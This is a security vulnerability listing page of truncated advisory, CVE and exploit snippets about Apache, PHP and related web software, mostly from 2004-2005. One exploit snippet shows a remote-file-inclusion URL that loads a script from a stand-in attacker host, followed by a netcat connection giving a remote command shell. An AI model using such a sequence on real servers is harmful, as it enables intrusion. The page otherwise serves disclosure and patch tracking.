[SA16287] Ragnarok Online Control Panel Authentication Bypass Vulnerability

---------------------------------------------------------------------- Bist Du interessiert an einem neuen Job in IT-Sicherheit? Secunia hat zwei freie Stellen als Junior und Senior Spezialist in IT- Sicherheit: http://secunia.com/secuniavacancies/...

PT-2005-3395 · Python +5 · Python +5

Name of the Vulnerable Software and Affected Versions: PCRE versions prior to 6.2 Apache HTTP Server affected versions not specified Description: The issue is related to an integer overflow in the pcre compile.c file of the Perl Compatible Regular Expressions PCRE library, which can be exploited ...

Ragnarok Online Control Panel 4.3.4 a - Authentication Bypass

source: https://www.securityfocus.com/bid/14429/info Ragnarok Online Control Panel ROCP is prone to a vulnerability that may let remote attackers bypass user authentication. This issue is related to how PHP variables are handled, letting an attacker influence a variable that is used to check user...

HP-UX Security patch : PHSS_27783

The remote host is missing HP-UX Security Patch number PHSS27783 . SSRT2332 rev.10 Apache Server Chunk Encoding %NASLMINLEVEL 70300 C Tenable Network Security, Inc. if ! definedfunc"bnrandom" exit0; include'deprecatednasllevel.inc'; include'compat.inc'; ifdescription scriptid17485;...

HP-UX Security patch : PHSS_27935

The remote host is missing HP-UX Security Patch number PHSS27935 . SSRT2332 rev.10 Apache Server Chunk Encoding %NASLMINLEVEL 70300 C Tenable Network Security, Inc. if ! definedfunc"bnrandom" exit0; include'deprecatednasllevel.inc'; include'compat.inc'; ifdescription scriptid17488;...

phpDEV5 - System-Call Local Denial of Service

------------------------------------------------------------------------ PHPDev5 Target : PHPDev 5 URL : www.firepages.com.au - http://sourceforge.net/projects/phpdev5/ Type : PHP/Apache/MySQL Server.. .. PoC Sample : Save this code as .php or .php3 file.. //start //end milw0rm.com 2005-03-17...

phpDEV5 System-Call Local Denial of Service Exploit

No description provided by source. ------------------------------------------------------------------------ PHPDev5 == Apache Server Local Denial-of-Service PoC By : Ali7 e-mail : [email protected] date : 16-03-2k5 greetz : our group :P Target : PHPDev 5 URL : www.firepages.com.au -...

phpDEV5 - System-Call Local Denial of Service

phpDEV5 - System-Call Local Denial of Service ------------------------------------------------------------------------ PHPDev5 Target : PHPDev 5 URL : www.firepages.com.au - http://sourceforge.net/projects/phpdev5/ Type : PHP/Apache/MySQL Server.. .. PoC Sample : Save this code as .php or .php3...

phpDEV5 System-Call Local Denial of Service Exploit

Exploit for unknown platform in category dos / poc =================================================== phpDEV5 System-Call Local Denial of Service Exploit =================================================== ------------------------------------------------------------------------ PHPDev5 Target :...

RHEL 2.1 / 3 : mailman (RHSA-2005:136)

Updated mailman packages that correct a mailman security issue are now available. The mailman package is software to help manage email discussion lists. A flaw in the truepath function of Mailman was discovered. A remote attacker who is a member of a private mailman list could use a carefully...

DEBIAN-CVE-2004-0811

Unknown vulnerability in Apache 2.0.51 prevents "the merging of the Satisfy directive," which could allow attackers to obtain access to restricted resources contrary to the specified authentication configuration...

PHP <= 4.3.7 openlog() Buffer Overflow Exploit

Exploit for unknown platform in category remote exploits ============================================== PHP http://www.vulnerable.box/remincl.php?page=http://3v1l.h4x0r.b0x/tooopenlog.php.txt BOOM.... netcat www.vulnerable.box 65535 Microsoft Windows 2000 versie 5.00.2195 C Copyright 1985-2000...

AppServ 2.5.x and Prior Exploit

what AppServ ========== AppServ is the Apache/PHP/MySQL open source software installer packages. Objective : - Easy to buid Webserver and Database Server - For those who just beginning client/server programming. - For web programmers/developers using PHP & MySQL. - For programming techniques that...

RHEL 3 : httpd (RHSA-2004:562)

Updated httpd packages that include fixes for two security issues, as well as other bugs, are now available. The Apache HTTP server is a powerful, full-featured, efficient, and freely-available Web server. An issue has been discovered in the modssl module when configured to use the 'SSLCipherSuit...

Apache 2.0.52 Multiple Space Header DoS (Perl code)

Exploit for unknown platform in category dos / poc =================================================== Apache 2.0.52 Multiple Space Header DoS Perl code =================================================== !/usr/bin/perl Noam Rathaus of Beyond Security Ltd. use strict; use IO::Socket::INET; usage...

Debian DSA-195-1 : apache-perl - several vulnerabilities

According to David Wagner, iDEFENSE and the Apache HTTP Server Project, several vulnerabilities have been found in the Apache server package, a commonly used webserver. Most of the code is shared between the Apache and Apache-Perl packages, so vulnerabilities are shared as well. These...

Debian DSA-137-1 : mm - insecure temporary files

Marcus Meissner and Sebastian Krahmer discovered and fixed a temporary file vulnerability in the mm shared memory library. This problem can be exploited to gain root access to a machine running Apache which is linked against this library, if shell access to the user 'www-data' is already availabl...

PT-2004-1826 · Apache · Apache +1

Name of the Vulnerable Software and Affected Versions: Apache versions 2.0.50 and earlier Description: A buffer overflow occurs during the expansion of environment variables in configuration file parsing, allowing a local user to gain the privileges of an httpd child by forcing the server to pars...

security flaw

modssl in Apache 2.0.50 and earlier allows remote attackers to cause a denial of service CPU consumption by aborting an SSL connection in a way that causes an Apache child process to enter an infinite loop...

CVE-1999-1199

The CVE-1999-1199 entry concerns Apache HTTP Server 1.3.1 and earlier. A remote attacker can trigger a denial of service by sending a large number of MIME headers with the same name (the so‑called “sioux” vulnerability). The NVD entry assigns a base score of 10.0 (HIGH) with NETWORK attack vector...